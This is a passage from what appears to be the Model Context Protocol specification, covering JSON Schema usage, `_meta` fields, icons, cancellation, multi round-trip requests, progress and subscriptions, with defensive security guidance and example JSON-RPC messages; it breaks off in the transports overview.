[JSON Schema](https://github.com/modelcontextprotocol/specification/blob/main/schema/2026-07-28/schema.json),
which is automatically generated from the TypeScript source of truth, for use with
various automated tooling.
## JSON Schema Usage
The Model Context Protocol uses JSON Schema for validation throughout the protocol. This section clarifies how JSON Schema should be used within MCP messages.
### Schema Dialect
MCP supports JSON Schema with the following rules:
1. **Default dialect**: When a schema does not include a `$schema` field, it defaults to [JSON Schema 2020-12](https://json-schema.org/draft/2020-12/schema)
2. **Explicit dialect**: Schemas MAY include a `$schema` field to specify a different dialect
3. **Supported dialects**: Implementations MUST support at least 2020-12 and SHOULD document which additional dialects they support
4. **Recommendation**: Implementors are RECOMMENDED to use JSON Schema 2020-12.
### Example Usage
#### Default dialect (2020-12):
```json theme={null}
{
"type": "object",
"properties": {
"name": { "type": "string" },
"age": { "type": "integer", "minimum": 0 }
},
"required": ["name"]
}
```
#### Explicit dialect (draft-07):
```json theme={null}
{
"$schema": "http://json-schema.org/draft-07/schema#",
"type": "object",
"properties": {
"name": { "type": "string" },
"age": { "type": "integer", "minimum": 0 }
},
"required": ["name"]
}
```
### Implementation Requirements
* Clients and servers **MUST** support JSON Schema 2020-12 for schemas without an explicit `$schema` field
* Clients and servers **MUST** validate schemas according to their declared or default dialect. They **MUST** handle unsupported dialects gracefully by returning an appropriate error indicating the dialect is not supported.
* Clients and servers **SHOULD** document which schema dialects they support
### Schema Validation
* Schemas **MUST** be valid according to their declared or default dialect
### `$ref` Resolution
JSON Schema 2020-12 permits `$ref` to point at an absolute URI. Implementations **MUST NOT**
automatically dereference `$ref` values that resolve to a network URI.
Implementations **MAY** offer an opt-in mode that fetches non-local `$ref`s but it
**MUST** be disabled by default and **SHOULD** enforce an allowlist of hosts or at
minimum reject loopback, link-local, and private network addresses, apply timeouts and
size limits, and log dereferenced URIs.
Schemas that fail to validate due to an unresolved external `$ref` **SHOULD** be rejected
rather than silently treated as permissive.
### Composition-Keyword Resource Use
Composition keywords (`anyOf`, `oneOf`, `allOf`, `if`/`then`/`else`) and `$defs` enable
expressive schemas but can be expensive to validate. Implementations **SHOULD** apply
reasonable bounds, such as a maximum schema depth, a cap on the total number of subschemas,
or a per-validation time budget, to prevent a malicious schema from acting as a Denial-of-Service
vector against the validator.
## General fields
### `_meta`
The `_meta` property/parameter is used by MCP to allow clients and servers
to attach additional metadata to their interactions.
Certain key names are reserved by MCP for protocol-level metadata, as specified below;
implementations **MUST NOT** make assumptions about values at these keys.
**Key name format:** valid `_meta` key names have two segments: an optional **prefix**, and a **name**.
**Prefix:**
* If specified, MUST be a series of labels separated by dots (`.`), followed by a slash (`/`).
* Labels MUST start with a letter and end with a letter or digit; interior characters can be letters, digits, or hyphens (`-`).
* Implementations SHOULD use reverse DNS notation (e.g., `com.example/` rather than `example.com/`).
* Any prefix where the second label is `modelcontextprotocol` or `mcp` is **reserved** for MCP use.
* For example: `io.modelcontextprotocol/`, `dev.mcp/`, `org.modelcontextprotocol.api/`, and `com.mcp.tools/` are all reserved.
* However, `com.example.mcp/` is NOT reserved, as the second label is `example`.
**Name:**
* Unless empty, MUST begin and end with an alphanumeric character (`[a-z0-9A-Z]`).
* MAY contain hyphens (`-`), underscores (`_`), dots (`.`), and alphanumerics in between.
**Reserved keys:**
The following `_meta` keys are reserved by this specification:
| Key | Description | Defined in |
| -------------------------------------------- | ----------------------------------------------------------- | ----------------------------------------------------------------------- |
| `progressToken` | Opts the request into progress notifications | [Progress](/specification/2026-07-28/basic/patterns/progress) |
| `io.modelcontextprotocol/protocolVersion` | Protocol version for a request | Per-request protocol fields (below) |
| `io.modelcontextprotocol/clientInfo` | Client name and version | Per-request protocol fields (below) |
| `io.modelcontextprotocol/clientCapabilities` | Client capabilities relevant to a request | Per-request protocol fields (below) |
| `io.modelcontextprotocol/logLevel` | Minimum log level the server should emit for a request | [Logging](/specification/2026-07-28/server/utilities/logging) |
| `io.modelcontextprotocol/subscriptionId` | Correlates a notification with its originating subscription | [Subscriptions](/specification/2026-07-28/basic/patterns/subscriptions) |
| `traceparent`, `tracestate`, `baggage` | OpenTelemetry trace context propagation | OpenTelemetry trace context (below) |
Official [extensions](/specification/2026-07-28/basic/versioning#extension-negotiation)
define additional `_meta` keys under the `io.modelcontextprotocol/` prefix, and
third-party extensions use their own vendor prefix.
In both cases the keys are specified in the extension's documentation.
**Per-request protocol fields:**
Client requests carry the following `io.modelcontextprotocol/*` fields in `_meta`;
fields marked as required **MUST** be included on every request. Servers use these
to identify the protocol version and capabilities in use without relying on any
prior connection state. See
[Versioning and Compatibility][lifecycle] for version negotiation rules.
| Key | Type | Required | Description |
| -------------------------------------------- | -------------------- | -------- | --------------------------------------------------------- |
| `io.modelcontextprotocol/protocolVersion` | `string` | Yes | Protocol version for this request (e.g., `"2026-07-28"`) |
| `io.modelcontextprotocol/clientInfo` | `Implementation` | No | Client name and version |
| `io.modelcontextprotocol/clientCapabilities` | `ClientCapabilities` | Yes | Client capabilities relevant to this request |
| `io.modelcontextprotocol/logLevel` | `LoggingLevel` | No | Minimum log level the server should emit for this request |
A request missing any required field is malformed; the server **MUST** reject it with
JSON-RPC error code `-32602` (Invalid params). On HTTP, the response status **MUST** be
`400 Bad Request`.
Clients **SHOULD** include `io.modelcontextprotocol/clientInfo` on every request
unless specifically configured not to do so.
A server **MUST NOT** rely on capabilities the client has not declared. If
processing a request requires a capability the client did not include in
`io.modelcontextprotocol/clientCapabilities`, the server **MUST** return a
[`MissingRequiredClientCapabilityError`](/specification/2026-07-28/schema#missingrequiredclientcapabilityerror)
(`-32021`) whose `data.requiredCapabilities` lists the missing capabilities. On
HTTP, the response status **MUST** be `400 Bad Request`.
**Per-response protocol fields:**
Servers **SHOULD** include the following `io.modelcontextprotocol/*` field in
every result's `_meta`, unless specifically configured not to do so, to
identify themselves without relying on any prior connection state:
| Key | Type | Required | Description |
| ------------------------------------ | ---------------- | -------- | ----------------------- |
| `io.modelcontextprotocol/serverInfo` | `Implementation` | No | Server name and version |
`io.modelcontextprotocol/clientInfo` and `io.modelcontextprotocol/serverInfo`
are self-reported by the sender and are not verified by the protocol. They are
intended for display, logging, and debugging. Implementations **SHOULD NOT**
use them to change the behavior of the client or server, and **SHOULD NOT**
rely on them for security decisions.
On notifications delivered via a [`subscriptions/listen`][subscriptions-listen] stream,
the server **MUST** include `io.modelcontextprotocol/subscriptionId` in `_meta` so the
client can correlate the notification with the originating subscription request.
[lifecycle]: /specification/2026-07-28/basic/versioning
[subscriptions-listen]: /specification/2026-07-28/basic/patterns/subscriptions
**OpenTelemetry trace context:**
As an exception to the prefix requirement above, the keys `traceparent`, `tracestate`, and
`baggage` are reserved for [OpenTelemetry](https://opentelemetry.io/) trace context propagation.
When present, their values MUST follow [W3C Trace Context](https://www.w3.org/TR/trace-context/)
and [W3C Baggage](https://www.w3.org/TR/baggage/) formats respectively.
This exception exists to maintain compatibility with existing implementations and
[OpenTelemetry semantic conventions for MCP](https://opentelemetry.io/docs/specs/semconv/gen-ai/mcp/).
Non-normative example of trace context in `_meta`:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "New York"
},
"_meta": {
"traceparent": "00-0af7651916cd43dd8448eb211c80319c-00f067aa0ba902b7-01"
}
}
}
```
### `icons`
The `icons` property provides a standardized way for servers to expose visual identifiers for their resources, tools, prompts, and implementations. Icons enhance user interfaces by providing visual context and improving the discoverability of available functionality.
Icons are represented as an array of `Icon` objects, where each icon includes:
* `src`: A URI pointing to the icon resource (required). This can be:
* An HTTP/HTTPS URL pointing to an image file
* A data URI with base64-encoded image data
* `mimeType`: Optional MIME type if the server's type is missing or generic
* `sizes`: Optional array of size specifications (e.g., `["48x48"]`, `["any"]` for scalable formats like SVG, or `["48x48", "96x96"]` for multiple sizes)
* `theme`: Optional theme preference (`light` or `dark`) for the icon background
**Required MIME type support:**
Clients that support rendering icons **MUST** support at least the following MIME types:
* `image/png` - PNG images (safe, universal compatibility)
* `image/jpeg` (and `image/jpg`) - JPEG images (safe, universal compatibility)
Clients that support rendering icons **SHOULD** also support:
* `image/svg+xml` - SVG images (scalable but requires security precautions as noted below)
* `image/webp` - WebP images (modern, efficient format)
**Security considerations:**
Consumers of icon metadata **MUST** take appropriate security precautions when handling icons to prevent compromise:
* Treat icon metadata and icon bytes as untrusted inputs and defend against network, privacy, and parsing risks.
* Ensure that the icon URI is either a HTTPS or `data:` URI. Clients **MUST** reject icon URIs that use unsafe schemes and redirects, such as `javascript:`, `file:`, `ftp:`, `ws:`, or local app URI schemes.
* Disallow scheme changes and redirects to hosts on different origins.
* Be resilient against resource exhaustion attacks stemming from oversized images, large dimensions, or excessive frames (e.g., in GIFs).
* Consumers **MAY** set limits for image and content size.
* Fetch icons without credentials. Do not send cookies, `Authorization` headers, or client credentials.
* Verify that icon URIs are from the same origin as the server. This minimizes the risk of exposing data or tracking information to third-parties.
* Exercise caution when fetching and rendering icons as the payload **MAY** contain executable content (e.g., SVG with [embedded JavaScript](https://www.w3.org/TR/SVG11/script.html) or [extended capabilities](https://www.w3.org/TR/SVG11/extend.html)).
* Consumers **MAY** choose to disallow specific file types or otherwise sanitize icon files before rendering.
* Validate MIME types and file contents before rendering. Treat the MIME type information as advisory. Detect content type via magic bytes; reject on mismatch or unknown types.
* Maintain a strict allowlist of image types.
**Usage:**
Icons can be attached to:
* `Implementation`: Visual identifier for the MCP server/client implementation
* `Tool`: Visual representation of the tool's functionality
* `Prompt`: Icon to display alongside prompt templates
* `Resource`: Visual indicator for different resource types
Multiple icons can be provided to support different display contexts and resolutions. Clients should select the most appropriate icon based on their UI requirements.
# Cancellation
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/cancellation
The Model Context Protocol (MCP) supports optional cancellation of in-progress requests
through notification messages. A client **SHOULD** send a cancellation notification
to indicate that a request it previously issued should be terminated.
A server **MUST** send `notifications/cancelled`
referencing a `subscriptions/listen` request ID when it tears down that subscription
stream (see [Subscriptions][subscriptions]). Servers **MUST NOT** send
`notifications/cancelled` for any other purpose.
## Cancellation Flow
When a client wants to cancel an in-progress request, it sends a `notifications/cancelled`
notification containing:
* The ID of the request to cancel
* An optional reason string that can be logged or displayed
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/cancelled",
"params": {
"requestId": "123",
"reason": "User requested cancellation"
}
}
```
## Transport-Specific Cancellation
How a client signals cancellation depends on the transport:
* **Streamable HTTP**: Closing the SSE response stream is the cancellation signal.
The server **MUST** treat a client disconnect as cancellation of that request. No
`notifications/cancelled` message is required or expected.
* **stdio**: There is no per-request stream to close. The client **MUST** send a
`notifications/cancelled` notification referencing the request ID.
## Timeouts
Implementations **SHOULD** establish timeouts for all sent requests, to prevent hung
connections and resource exhaustion. When the request has not received a success or error
response within the timeout period, the sender **SHOULD** cancel the request and stop
waiting for a response. As described in
[Transport-Specific Cancellation](#transport-specific-cancellation), this means:
* **Streamable HTTP**: closing the response stream for the request, which constitutes
cancellation.
* **stdio**: sending a `notifications/cancelled` notification referencing the request ID.
SDKs and other middleware **SHOULD** allow these timeouts to be configured on a
per-request basis.
Implementations **MAY** choose to reset the timeout clock when receiving a
[progress notification](/specification/2026-07-28/basic/patterns/progress) corresponding to
the request, as this implies that work is actually happening. However, implementations
**SHOULD** always enforce a maximum timeout, regardless of progress notifications, to
limit the impact of a misbehaving client or server.
## Behavior Requirements
1. Cancellation notifications **MUST** only reference requests that:
* Were previously issued by the client
* Are believed to still be in-progress
2. Server-sent cancellation notifications **MUST** reference a
`subscriptions/listen` request, to terminate that subscription stream
3. Servers receiving cancellation notifications **SHOULD**:
* Stop processing the cancelled request
* Free associated resources
* Not send a response for the cancelled request
4. Servers **MAY** ignore cancellation notifications if:
* The referenced request is unknown
* Processing has already completed
* The request cannot be cancelled
5. The client **SHOULD** ignore any response to the cancelled request that arrives
afterward
## Timing Considerations
Due to network latency, cancellation notifications may arrive after request processing
has completed, and potentially after a response has already been sent.
Both parties **MUST** handle these race conditions gracefully:
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: Request (ID: 123)
Note over Server: Processing starts
Client--)Server: notifications/cancelled (ID: 123)
alt
Note over Server: Processing may have completed before cancellation arrives
else If not completed
Note over Server: Stop processing
end
```
## Implementation Notes
* Both parties **SHOULD** log cancellation reasons for debugging
* Application UIs **SHOULD** indicate when cancellation is requested
## Error Handling
Invalid cancellation notifications **SHOULD** be ignored:
* Unknown request IDs
* Already completed requests
* Malformed notifications
This maintains the "fire and forget" nature of notifications while allowing for race
conditions in asynchronous communication.
[subscriptions]: /specification/2026-07-28/basic/patterns/subscriptions
# Overview
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/index
This page defines the message patterns of the core protocol: the ways a
client and server compose JSON-RPC
[requests, responses, and notifications](/specification/2026-07-28/basic/index#messages)
into interactions. Every
[transport](/specification/2026-07-28/basic/transports) carries all of these
patterns; transports differ only in how messages are framed and delivered.
Every interaction begins with the client:
* The **client** sends JSON-RPC *requests* and *notifications*.
* The **server** answers each request with a JSON-RPC *response* (a result
or error), optionally preceded by *notifications* scoped to that request.
Servers **MUST NOT** initiate JSON-RPC requests, and clients do not send
JSON-RPC responses.
## Request and Response
The client sends a request; the server answers it with a result or an error.
While the request is in flight, the server **MAY** send notifications scoped
to it, such as
[`notifications/progress`](/specification/2026-07-28/basic/patterns/progress)
and [`notifications/message`](/specification/2026-07-28/server/utilities/logging).
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: request
Server-->>Client: notifications/progress (optional)
Server-->>Client: response
```
## Multi Round-Trip Requests
When a server needs client input (sampling, elicitation, or roots) to
complete a request, it answers with an
[`InputRequiredResult`](/specification/2026-07-28/basic/patterns/mrtr#inputrequiredresult)
and the client retries the request with the matching `inputResponses`. See
[Multi Round-Trip Requests](/specification/2026-07-28/basic/patterns/mrtr).
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: request (id: 1)
Server-->>Client: InputRequiredResult (inputRequests)
Client->>Server: request (id: 2, original params + inputResponses)
Server-->>Client: response
```
## Subscribe and Notify
To receive change notifications (list changes, resource updates), the client
sends a
[`subscriptions/listen`](/specification/2026-07-28/basic/patterns/subscriptions)
request; the reply is a long-lived stream of the requested notification
types. Stream state is scoped to the request: if the underlying channel is
lost, the client re-issues the request.
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Client->>Server: subscriptions/listen
Server-->>Client: notifications/subscriptions/acknowledged
note over Client,Server: Stream stays open
Server-->>Client: notifications/* (tagged with subscriptionId)
```
## Adding Patterns
All core protocol features are built from these patterns. A protocol
revision that adds a pattern defines it on this page. Transports carry new
patterns without changes, because patterns are expressed entirely in terms
of requests, responses, and notifications.
# Multi Round-Trip Requests
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/mrtr
Multi Round-Trip Requests (MRTR) was introduced in this version of the MCP
specification. This replaces the previous approach of sending server-initiated
requests. Servers **MUST** send server-to-client requests (such as
`roots/list`, `sampling/createMessage`, or `elicitation/create`) using the
MRTR pattern. The previous pattern of server-initiated requests is no longer
supported. This is a breaking change.
For brevity, the request examples on this page omit the `_meta` request
metadata (`io.modelcontextprotocol/protocolVersion`,
`io.modelcontextprotocol/clientInfo`, and
`io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include
the required `_meta` fields; see
[`_meta`](/specification/2026-07-28/basic/index#meta).
## Multi Round-Trip Requests
The Model Context Protocol (MCP) defines several ways for servers to request additional information
from users during the processing of client requests (such as
`roots/list`, `sampling/createMessage`, or `elicitation/create`). The **multi round-trip requests** pattern
provides a standardized way to handle these server-requests without requiring a shared storage layer across
server instances or requiring stateful load balancing.
The high level flow functions as follows:
1. Client sends an initial request to the server with the parameters needed to perform the operation.
2. Server determines that additional information is required to fulfill the request and responds requesting more information.
3. Client gathers the requested information from the user or other sources, then retries the original request including the additional requested information.
4. Server determines it has sufficient information to complete the operation, and responds with the final result.
```mermaid theme={null}
sequenceDiagram
participant C as Client
participant S as Server
C->>S: client request (id: 1, request params)
note over S: Server needs more info to process request.
S-->>C: Request for additional input.
note over C: Client gathers input and retries initial request.
C->>S: client request (id: 2, request params, requested input)
note over S: Server has enough information to complete the request.
S-->>C: Result (id: 2, result)
```
### Core Types
This flow is implemented in MCP using the following Types.
#### InputRequests
An [`InputRequests`](/specification/2026-07-28/schema#inputrequests) object is a map of server-client requests.
Keys are server-assigned string identifiers;
values are request objects (e.g., [`ElicitRequest`](/specification/2026-07-28/schema#elicitrequest), [`CreateMessageRequest`](/specification/2026-07-28/schema#createmessagerequest), or [`ListRootsRequest`](/specification/2026-07-28/schema#listrootsrequest)).
```json theme={null}
{
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}
}
},
"capital_of_france": {
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What is the capital of France?"
}
}
],
"systemPrompt": "You are a helpful assistant.",
"maxTokens": 100
}
}
}
```
#### InputResponses
An [`InputResponses`](/specification/2026-07-28/schema#inputresponses) object is a map of client responses to the server requests.
Keys correspond to the keys in the `InputRequests` map; values are the client's result for each request (e.g., [`ElicitResult`](/specification/2026-07-28/schema#elicitresult), [`CreateMessageResult`](/specification/2026-07-28/schema#createmessageresult), or [`ListRootsResult`](/specification/2026-07-28/schema#listrootsresult)).
```json theme={null}
{
"github_login": {
"action": "accept",
"content": {
"name": "octocat"
}
},
"capital_of_france": {
"role": "assistant",
"content": {
"type": "text",
"text": "The capital of France is Paris."
},
"model": "claude-3-sonnet-20240307",
"stopReason": "endTurn"
}
}
```
#### InputRequiredResult
An [`InputRequiredResult`](/specification/2026-07-28/schema#inputrequiredresult) is a type of [`Result`](/specification/2026-07-28/basic#responses),
indicating that additional input is needed before the request can be completed.
* `inputRequests` *(optional)*: An [`InputRequests`](/specification/2026-07-28/schema#inputrequests) map of server-initiated requests that the client must fulfill.
* `requestState` *(optional)*: An opaque string meaningful only to the server. Clients **MUST NOT** inspect, parse, modify, or make any assumptions about its contents.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "input_required",
"inputRequests": {
// Elicitation request.
"github_login": {
"method": "elicitation/create",
"params": {
"mode": "form",
"message": "Please provide your GitHub username",
"requestedSchema": {
"type": "object",
"properties": {
"name": { "type": "string" }
},
"required": ["name"]
}
}
},
// Sampling request.
"capital_of_france": {
"method": "sampling/createMessage",
"params": {
"messages": [
{
"role": "user",
"content": {
"type": "text",
"text": "What is the capital of France?"
}
}
],
"modelPreferences": {
"hints": [{ "name": "claude-3-sonnet" }],
"intelligencePriority": 0.8,
"speedPriority": 0.5
},
"systemPrompt": "You are a helpful assistant.",
"maxTokens": 100
}
}
},
"requestState": "AEAD-protected blob"
}
}
```
### Supported Requests
Servers **MAY** send `InputRequiredResult` responses on the following client requests:
| Client Request | Supports InputRequiredResult |
| -------------------------------------------------------------------------------- | ---------------------------- |
| [`prompts/get`](/specification/2026-07-28/server/prompts#getting-a-prompt) | Yes |
| [`resources/read`](/specification/2026-07-28/server/resources#reading-resources) | Yes |
| [`tools/call`](/specification/2026-07-28/server/tools#calling-tools) | Yes |
Servers **MUST NOT** send `InputRequiredResult` responses on any other client requests.
### Basic Workflow
The basic workflow describes how a server can request additional input from the client as part of a client-server request.
In this example we use `tools/call` as the client request, but the same pattern applies to any of the supported requests listed above.
Notably, it allows servers to request additional information without maintaining any server-side state.
The server encodes any needed context into the `requestState` field, which the client echoes back on retry.
```mermaid theme={null}
sequenceDiagram
participant U as User
participant C as Client
participant S as Server
C->>S: tools/call (id: 1)
note over S: Server needs more info via Elicitation
S-->>C: InputRequiredResult (id: 1, ElicitRequest, requestState)
note over C,S: Initial Request Terminated
C->>U: Prompts user for input
U-->>C: Provides responses
note over C: Client retries tool call with inputResponses and requestState
C->>S: tools/call (id: 2, ElicitResult, requestState)
note over S: Server reconstitutes state Completes execution
S-->>C: Result (id: 2, ToolCallResult)
```
Note that the requests in each step are completely independent: the server processing the retry does not need any information beyond
what is directly present in the retry request.
#### Server Requirements (Basic Workflow)
1. Servers **MAY** respond to any [supported client request](#supported-requests) with an `InputRequiredResult`.
2. The `InputRequiredResult` **MAY** include an `inputRequests` field.
* `inputRequests` keys are server assigned identifiers and **MUST** be unique within the scope of the request.
* `inputRequests` values are request objects that **MUST** be one of [`ElicitRequest`](/specification/2026-07-28/schema#elicitrequest), [`CreateMessageRequest`](/specification/2026-07-28/schema#createmessagerequest), or [`ListRootsRequest`](/specification/2026-07-28/schema#listrootsrequest)
3. The `InputRequiredResult` **MAY** include a `requestState` field. If specified, this field is an opaque string meaningful only to the server. Servers are free to encode the state in any format (e.g. base64-encoded JSON, encrypted JWT, serialized binary).
4. If a client request contains a `requestState` field, servers **MUST** treat `requestState` as an attacker-controlled input. If `requestState` influences authorization, resource access, or business logic, servers **MUST** protect its integrity (e.g. HMAC or AEAD)
and **MUST** reject state that fails verification. Integrity protection **MAY** be omitted only when tampering can cause nothing worse than request failure.
5. To prevent replay, servers **SHOULD** include the following inside the integrity-protected `requestState` payload and verify each on receipt:
* the authenticated principal, rejecting state presented by a different principal.
* a short expiry (TTL), rejecting state presented after it lapses;
* an identifier for the originating request, e.g. the method name and a digest of its salient parameters, rejecting state presented on a request that does not match.
Note that these measures bound the replay window and prevent cross-user
and cross-request reuse, but do not by themselves guarantee single-use.
Servers for which a given `requestState` must be consumed at most once
(e.g., one-time redemptions) **MUST** enforce that invariant server-side.
6. Servers **MUST** include at least one of `inputRequests` or `requestState` in every `InputRequiredResult` response.
7. Servers **MUST NOT** send an `inputRequests` that the client has not declared support for in its capabilities. For example, if a client does not declare support for `elicitation`, the server **MUST NOT** include any `elicitation/create` requests in the `inputRequests` field.
8. Servers **MUST NOT** assume that clients will fulfill the `inputRequests` or retry the original request. Servers **MAY** choose to return an `InputRequiredResult` on multiple attempts at the same request if they want to repeatedly prompt the user for information until they have what they need to complete the request.
#### Client Requirements (Basic Workflow)
1. If a client receives an `InputRequiredResult` that contains the `inputRequests` field, the client **MUST** construct the requested
inputs before retrying the original request. If the `InputRequiredResult` does *not* contain the `inputRequests` field,
the client **MAY** retry the original request immediately.
2. If an `InputRequiredResult` contains the `requestState` field, the client **MUST** echo back the exact value of that field when retrying the original request.
Clients **MUST NOT** inspect, parse, modify, or make any assumptions about the `requestState` contents. If the `InputRequiredResult` does not contain a `requestState` field, the client **MUST NOT** include one in the retry.
3. The JSON-RPC `id` **MUST** be different between the initial request and the retry, as they are independent requests.
4. Both the `inputRequests` and `requestState` fields affect only the client's retry of the original request. They **MUST NOT** be used for any other request that the client may be sending in parallel.
### Error Handling
Servers **SHOULD** validate that the data provided by the client is a valid `InputResponses` object and that the information inside can be correctly parsed.
Protocol errors (malformed JSON, invalid schema, internal server errors) **SHOULD** return a JSON-RPC error response with an appropriate error code and message.
If additional, unexpected parameters are provided in the `InputResponses` object, the server **SHOULD** ignore any information it does not recognize or need.
If the client fails to send all the information requested in a previous `InputRequests`, and the missing information is necessary for the server to process the request,
the server **SHOULD** respond with a new `InputRequiredResult` requesting the missing information again, rather than returning an error.
### Security Considerations
Because `requestState` passes through the client, malicious or compromised clients could attempt to modify it to alter server behavior,
bypass authorization checks, or corrupt server logic. Servers **MUST** validate request state as described in the [server requirements](#server-requirements-basic-workflow) above.
# Progress
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/progress
The Model Context Protocol (MCP) supports optional progress tracking for long-running
operations through notification messages. The server **MAY** send progress notifications
to report the status of requests the client has issued.
## Progress Flow
When a client wants to *receive* progress updates for a request, it includes a
`progressToken` in the request metadata.
* Progress tokens **MUST** be a string or integer value
* Progress tokens can be chosen by the client using any means, but **MUST** be unique
across all active requests.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "some_method",
"params": {
"_meta": {
"progressToken": "abc123"
}
}
}
```
The server **MAY** then send progress notifications containing:
* The original progress token
* The current progress value so far
* An optional "total" value
* An optional "message" value
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/progress",
"params": {
"progressToken": "abc123",
"progress": 50,
"total": 100,
"message": "Reticulating splines..."
}
}
```
* The `progress` value **MUST** increase with each notification, even if the total is
unknown.
* The `progress` and the `total` values **MAY** be floating point.
* The `message` field **SHOULD** provide relevant human readable progress information.
## Behavior Requirements
1. Progress notifications **MUST** only reference tokens that:
* Were provided in an active request
* Are associated with an in-progress operation
2. Servers receiving a request with a progress token **MAY**:
* Choose not to send any progress notifications
* Send notifications at whatever frequency they deem appropriate
* Omit the total value if unknown
```mermaid theme={null}
sequenceDiagram
participant Client
participant Server
Note over Client,Server: Request with progress token
Client->>Server: Method request with progressToken
Note over Client,Server: Progress updates
Server-->>Client: Progress notification (0.2/1.0)
Server-->>Client: Progress notification (0.6/1.0)
Server-->>Client: Progress notification (1.0/1.0)
Note over Client,Server: Operation complete
Server->>Client: Method response
```
## Implementation Notes
* Clients and servers **SHOULD** track active progress tokens
* Both parties **SHOULD** implement rate limiting to prevent flooding
* Progress notifications **MUST** stop after completion
# Subscriptions
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/patterns/subscriptions
`subscriptions/listen` opens a long-lived notification stream from the server to the
client. Unlike one-off requests, the stream stays open and delivers notifications until
the client cancels it. It replaces the former `resources/subscribe` RPC and the HTTP GET
endpoint.
## Opening a Stream
The client sends a `subscriptions/listen` request with a `notifications` filter
specifying which event types it wants to receive. The server **MUST NOT** send
notification types the client has not explicitly requested.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "subscriptions/listen",
"params": {
"_meta": {
"io.modelcontextprotocol/protocolVersion": "2026-07-28",
"io.modelcontextprotocol/clientInfo": {
"name": "ExampleClient",
"version": "1.0.0"
},
"io.modelcontextprotocol/clientCapabilities": {}
},
"notifications": {
"toolsListChanged": true,
"resourceSubscriptions": ["file:///project/config.json"]
}
}
}
```
### Notification Filter
| Field | Type | Description |
| ----------------------- | ---------- | ----------------------------------------------------------------- |
| `toolsListChanged` | `boolean` | Receive `notifications/tools/list_changed` when tools change |
| `promptsListChanged` | `boolean` | Receive `notifications/prompts/list_changed` when prompts change |
| `resourcesListChanged` | `boolean` | Receive `notifications/resources/list_changed` when list changes |
| `resourceSubscriptions` | `string[]` | Receive `notifications/resources/updated` for these resource URIs |
All fields are optional. Omitting a field is equivalent to not subscribing to that
notification type.
## Acknowledgment
The server **MUST** send `notifications/subscriptions/acknowledged` as the first message
carrying the subscription's ID in `_meta` under `io.modelcontextprotocol/subscriptionId`,
and **MUST NOT** send any notification on the
subscription before it. On stdio, where every subscription shares one channel, this
ordering is defined per subscription ID and not per channel: messages belonging to other
subscriptions **MAY** be interleaved before it.
The `notifications` field in the acknowledgment reflects the subset the server agreed to
honor. Notification types the server does not support are omitted.
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/subscriptions/acknowledged",
"params": {
"_meta": {
"io.modelcontextprotocol/subscriptionId": 1
},
"notifications": {
"toolsListChanged": true,
"resourceSubscriptions": ["file:///project/config.json"]
}
}
}
```
The client **SHOULD** check the acknowledged filter against what it requested and handle
any unsupported types gracefully.
## Receiving Notifications
All notifications delivered on the stream carry
`io.modelcontextprotocol/subscriptionId` in `_meta`, identifying the
`subscriptions/listen` request that opened the stream. The value is the JSON-RPC ID of
the `subscriptions/listen` request. In the examples above, the request used `"id": 1`,
so the acknowledgment and all subsequent notifications carry the subscription ID `1`.
On stdio, where all messages
share a single channel, clients **MUST** use this field to correlate notifications
with their originating subscription.
```json theme={null}
{
"jsonrpc": "2.0",
"method": "notifications/resources/updated",
"params": {
"_meta": {
"io.modelcontextprotocol/subscriptionId": 1
},
"uri": "file:///project/config.json"
}
}
```
## Multiple Concurrent Subscriptions
A client **MAY** have multiple active subscriptions concurrently — for example,
one listening for tools-list changes and another for resource updates. Each
subscription is identified by the JSON-RPC request ID of its
`subscriptions/listen` request, and every notification on the stream carries
that ID in
`io.modelcontextprotocol/subscriptionId` so clients can demultiplex them.
## Cancellation
A subscription ends when:
* The **client** cancels it — close the SSE stream (HTTP) or send
`notifications/cancelled` referencing the `subscriptions/listen` request ID (stdio).
* The **server** tears it down (e.g., during shutdown) — it **SHOULD** send the
empty `subscriptions/listen` response to signal a graceful end (see
[Graceful Closure](#graceful-closure)), then close the stream.
* The underlying transport closes (HTTP timeout, TCP disconnect, stdio process
exit).
### Graceful Closure
When the server ends a subscription on its own initiative (for example, during
shutdown), it **SHOULD** respond to the original `subscriptions/listen` request
with an empty result before closing the stream. This is the JSON-RPC response to
the long-lived request, correlated by its `id`, and signals that the subscription
ended gracefully — as opposed to an abrupt transport drop, which carries no
response.
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "complete",
"_meta": {
"io.modelcontextprotocol/subscriptionId": 1
}
}
}
```
Like every other message on the stream, the response carries
`io.modelcontextprotocol/subscriptionId` in `_meta`, identifying which
subscription it closes. The value matches the JSON-RPC `id` of the originating
`subscriptions/listen` request.
A client that receives this response knows the subscription closed cleanly; a
transport that closes without it indicates an unexpected disconnect, which the
client **MAY** treat as a trigger to reconnect.
On **stdio**, if the connection is terminated and then re-established, the
client **MUST** re-send `subscriptions/listen` to re-establish its
subscriptions — the server holds no subscription state across reconnections.
See [Cancellation][cancellation] for the full rules.
[cancellation]: /specification/2026-07-28/basic/patterns/cancellation
# Overview
Source: https://modelcontextprotocol.io/specification/2026-07-28/basic/transports/index
This page defines what a transport must provide to carry MCP messages, the
standard transport bindings, and the requirements for defining new ones.
Protocol semantics are identical on every transport. A transport is a
